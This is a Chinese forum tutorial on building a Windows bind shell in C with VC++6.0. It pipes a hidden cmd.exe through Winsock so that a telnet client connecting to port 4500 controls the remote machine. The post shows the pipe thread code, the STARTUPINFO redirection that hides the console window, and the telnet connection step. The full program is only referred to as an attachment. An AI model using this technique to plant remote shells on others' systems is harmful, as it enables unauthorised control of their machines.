马上注册,结交更多好友,享用更多功能^_^
您需要 登录 才可以下载或查看,没有账号?立即注册
x
0x00环境:win7 & VC++6.0 管道是一种特殊的进程,通常我们使用它进行线程之间的通信。管道是单向的,也就说管道中的数据传递方向只能是一个方向。 1.下面给出创建管道的函数原型: BOOL WINAPI CreatePipe(
_Out_ PHANDLE hReadPipe,
_Out_ PHANDLE hWritePipe,
_In_opt_ LPSECURITY_ATTRIBUTES lpPipeAttributes,
_In_ DWORD nSize
);
hReadPipe :管道读句柄 hWritePipe :管道写句柄 lpPipeAttributes:确定返回的句柄是否可以被子进程继承 nSize:管道缓冲区大小,如果设置为0,则使用系统默认值
2.管道的读写可以使用ReadFile和WriteFile两个函数: BOOL WINAPI ReadFile(
_In_ HANDLE hFile,
_Out_ LPVOID lpBuffer,
_In_ DWORD nNumberOfBytesToRead,
_Out_opt_ LPDWORD lpNumberOfBytesRead,
_Inout_opt_ LPOVERLAPPED lpOverlapped
);
BOOL WINAPI WriteFile(
_In_ HANDLE hFile,
_In_ LPCVOID lpBuffer,
_In_ DWORD nNumberOfBytesToWrite,
_Out_opt_ LPDWORD lpNumberOfBytesWritten,
_Inout_opt_ LPOVERLAPPED lpOverlapped
);
将文件句柄改成管道句柄就可以实现管道读写。
0x01双管道实现读写。我们建立两个管道,一个管道循环读,一个管道循环写。
我们本地端通过socket连接到远程端的一个Win32 Console Application程序,该远程端程序中实现一个Winsock和一对读写管道链接到cmd。 首先来建立两个线程函数,分别实现管道读写。 DWORD WINAPI ThreadWrite(LPVOID lpParam){
SECURITY_ATTRIBUTES sa;
sa.nLength = sizeof(SECURITY_ATTRIBUTES);
sa.lpSecurityDescriptor = NULL;
sa.bInheritHandle = TRUE;
DWORD nByteToWrite, nByteWritten;
char recv_buff[1024];
//create a pipe
CreatePipe(&hReadPipe, &hWriteFile, &sa, 0);
while(true){
Sleep(250);
//recv client host's command
nByteToWrite = recv(sClient, recv_buff, 1024, 0);
//Write the pipe
WriteFile(hWriteFile, recv_buff, nByteToWrite, &nByteWritten, NULL);
}
return 0;
}
DWORD WINAPI ThreadRead(LPVOID lpParam){
SECURITY_ATTRIBUTES sa;
sa.nLength = sizeof(SECURITY_ATTRIBUTES);
sa.lpSecurityDescriptor = NULL;
sa.bInheritHandle = TRUE;
DWORD len;
char send_buff[2048];
CreatePipe(&hReadFile, &hWritePipe, &sa, 0);
while(true){
// read data from the pipe
ReadFile(hReadFile, send_buff, 2048, &len, NULL);
//send data to client host
send(sClient, send_buff, len, 0);
}
return 0;
}
0x02接下来我们启动一个cmd进程,可以使用函数: BOOL WINAPI CreateProcess(
_In_opt_ LPCTSTR lpApplicationName,
_Inout_opt_ LPTSTR lpCommandLine,
_In_opt_ LPSECURITY_ATTRIBUTES lpProcessAttributes,
_In_opt_ LPSECURITY_ATTRIBUTES lpThreadAttributes,
_In_ BOOL bInheritHandles,
_In_ DWORD dwCreationFlags,
_In_opt_ LPVOID lpEnvironment,
_In_opt_ LPCTSTR lpCurrentDirectory,
_In_ LPSTARTUPINFO lpStartupInfo,
_Out_ LPPROCESS_INFORMATION lpProcessInformation
);
但我们得将该cmd进程与我们的管道相关联,这样管道和cmd之间才能传输数据。实现它们的管理,可以在CreateProcess函数的倒数第二个参数LPSTARTUPINFO中设置,这个结构体如下: typedef struct _STARTUPINFO {
DWORD cb;
LPTSTR lpReserved;
LPTSTR lpDesktop;
LPTSTR lpTitle;
DWORD dwX;
DWORD dwY;
DWORD dwXSize;
DWORD dwYSize;
DWORD dwXCountChars;
DWORD dwYCountChars;
DWORD dwFillAttribute;
DWORD dwFlags;
WORD wShowWindow;
WORD cbReserved2;
LPBYTE lpReserved2;
HANDLE hStdInput;
HANDLE hStdOutput;
HANDLE hStdError;
} STARTUPINFO, *LPSTARTUPINFO;
成员很多,一个一个地去填写,很麻烦,我们可以使用一个函数返回本进程的STARTUPINFO信息,然后我们再修改一些参数以实现它与管道相关联。 VOID WINAPI GetStartupInfo(
_Out_ LPSTARTUPINFO lpStartupInfo
);
STARTUPINFO中需要修改的参数: dwFlags=STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES; // enable
hStdInput = hReadPipe; //read data from ThreadWrite pipe
hStdError = hWritePipe; //write data to ThreadRead pipe
hStdOutput = hWritePipe;
wShowWindow = SW_HIDE; //hide cmd window
0x03下面给出全部的code:
这里应该是有代码的,,但鉴于上面的排版全乱了,那么给出一个word版的附件,排版稍微好点。
0x04将它在远程机上运行,作者测试使用自己的虚拟机(192.168.0.8),然后在本地启用一个telnet: telnet 192.168.0.8 4500 这样在本地机上会得到一个shell,直接可以操控远程机。
|